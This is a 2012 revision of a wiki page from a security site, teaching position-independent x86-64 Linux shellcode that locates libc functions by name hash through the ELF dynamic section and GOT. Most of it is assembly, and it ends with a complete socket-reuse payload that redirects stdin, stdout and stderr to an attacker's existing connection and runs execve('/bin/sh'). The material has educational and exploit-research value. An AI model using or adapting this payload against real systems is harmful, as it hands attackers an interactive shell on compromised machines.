Questions about this topic? Sign up to ask in the talk tab.

Shellcode/Dynamic

From NetSec
Revision as of 18:34, 22 November 2012 by LashawnSeccombe (Talk | contribs) (Dynamic shellcode)

Jump to: navigation, search

Dynamic shellcode

Dynamic, or self-linking code serves multiples purposes. The Linux kernel's interrupt and syscall interfaces are relatively generic, so what is the point in doing this for linux?

The C Calling convention's impact

  • The usual format for a system call or libc function invokation:
   function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
  • The return value is usually returned into the %rax register.

Because of the above statement, we can see easily when writing a linker that the following registers need not be reserved for function calls before calling them without syscalls:

  %rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15

Most of these registers can get blown away by different libc functions, however %rbx is reserved for "developer use" by libc. When writing a dynamic linker, function arguments must be preserved so that a developer can easily write dynamically integrated code. To that end, this linker takes %rbx as the base pointer to a library and %rbp for a function hash. This ensures that the developer maintains control over %rax, %rdi, %rsi, %rdx, %r10, %r8, and %r9. The %rcx register is used as the pointer to the invoke_function label. Developers should be aware to preserve this when invoking functions which may destroy the register, or change this by changing the register popped in the __initialize_world label.

Function hashing

  • Additional labels have been added to make this more readable.
 
calc_hash:
 
preserve_regs:
  push %rax
  push %rdx
 
initialize_regs:
  push %rdx
  pop %rax
  cld
 
calc_hash_loop:
  lodsb
  rol $0xc, %edx
  add %eax, %edx
  test %al, %al
  jnz calc_hash_loop
 
calc_done:
  push %rdx
  pop %rsi
 
restore_regs:
  pop %rdx 
  pop %rax
 

Dynamic section traversal to the GOT

 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 

Extracting a library pointer

 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 

Staging the user defined code

  • Now that a base pointer has been calculated, it is time to stage the developer or user-defined code. To make invoke_function re-usable from a register, a getPc via %rcx is invoked that jumps to the _world label and never returns. The address of invoke_function has then been stored in the %rcx register, allowing developers to access it efficiently.
 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
startup:
  call __initialize_world
invoke_function:
  ...
_world:
  ; user-defined code goes here
 

The interface

The runtime linker developed here allows user-defined code to start at the _world label. This example is a small dynamic snippet that when combined with the linker's API equivocates to `exit()':

 
_world:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 

The invoking of functions

 
;
;  Takes a function hash in %rbp and base pointer in %rbx
;  >Parses the dynamic section headers of the ELF64 image
;  >Uses ROP to invoke the function on the way back to the
;  -normal return location
;
;  Returns results of function to invoke.
;
 
invoke_function:
  push %rbp
  push %rbp
  push %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
 
set_regs:
  xor %rdx, %rdx
  push %rbp
  pop %rdi
 
 
copy_base:
  push %rbx
  pop %rbp
 
read_dynamic_section:
  push $0x4c
  pop %rax
  add (%rbx, %rax, 4), %rbx
 
 
check_dynamic_type:
  add $0x10, %rbx
  cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
 
string_table_found:
  mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
  mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
 
check_next_hash:
  add $0x18, %rbx
  push %rdx
  pop %rsi
  xorw (%rbx), %si
  add %rax, %rsi
 
 
calc_hash:
   ...
 
 
check_current_hash:
  cmp %esi, %edi
  jne check_next_hash
 
 
found_hash:
  add 0x8(%rbx,%rdx,4), %rbp
  mov %rbp, 0x30(%rsp)
  pop %rsi
  pop %rbx
  pop %rax
  pop %rdi
  pop %rdx
  pop %rbp
ret
 

The dynamic shell

  • Once added to the linker, this becomes a total of a 270 byte dynamic port of the 115 byte socket-reuse payload. There are a few ways to optimize it that will be left for the reader to discover.
 
_world:
  movl $0xf8cc01f7, %ebp   # hash of getpeername() is in %rbp
  push $0x02
  pop %rdi
 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
  lea 0x4(%rdx), %rsi # move struct into rsi
 
loop:
  inc %di
  jz exit
 
stack_fix:
  lea 0x14(%rdx), %rsp
 
get_peer_name:
  sub $0x20, %rsp
  push %rcx
  call *%rcx               # getpeername(counterfd,sockaddr_in)
  pop %rcx
 
check_pn_success:
  test %al, %al
  jne loop
 
  # If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %r8
  mov $0xfeffff80, %eax
  not %eax
  cmpl %eax, (%rsp,%r8,4)
  jne loop
 
check_port:
  movb $0x35, %r8b
  mov $0x2dfb, %ax
  not %eax
  cmpw %ax,(%rsp, %r8 ,2) # 
  jne loop
 
  push $0x70672750
  pop %rbp                # Function hash of dup2() is in rbp
 
reuse:
  xor %rdx, %rdx
  push %rdx
  push %rdx
  pop %rsi
 
dup_loop:       # redirect stdin, stdout, stderr to socket
  push %rcx
  call *%rcx    # dup2(sockfd,std[err|in|out]);
  pop %rcx
  inc %esi
  cmp $0x4, %esi
  jne dup_loop
 
  movl $0xf66bbb37, %ebp         # Place the function hash for execve() into %rbp
 
  xor %rdi, %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
 
  call *%rcx                     # execve('/bin/sh',0,0);